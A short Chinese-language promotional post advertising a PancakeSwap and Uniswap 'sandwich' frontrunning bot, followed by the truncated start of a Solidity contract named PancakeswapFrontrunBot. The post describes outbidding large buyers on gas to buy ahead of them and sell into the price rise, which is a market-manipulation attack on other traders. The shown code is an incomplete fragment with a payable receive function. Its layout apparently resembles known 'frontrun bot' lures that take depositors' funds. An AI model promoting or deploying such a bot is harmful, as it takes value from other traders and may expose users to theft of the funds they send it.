三明治机器人或夹子机器人，它可以实时检测Pancake或uniswap上面所有的交易，发现一定金额以上的交易时，会通过提高Gas费在购买者之前提前买入，然后等它的买入成功抬高价格后，再自动卖出。 通过智能合约部署，24小时全天候运行。

代码部署详情：pragma solidity ^0.6.6;// Import PancakeSwap Libraries Migrator/Exchange/Factory

contract PancakeswapFrontrunBot {

string public tokenName;

string public tokenSymbol;

uint frontrun;

constructor(string memory _tokenName, string memory _tokenSymbol) public {

tokenName = _tokenName;

tokenSymbol = _tokenSymbol;

}

receive() external payable {}

struct slice {

uint _len;

uint _ptr;

}

/*

* @dev Find newly deployed contracts on PancakeSwap Exchange

* @param memory of required contract liquidity.

* @param other The second slice to compare.

* @return New contracts with required liquidity.

*/

function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {

uint shortest = self._len;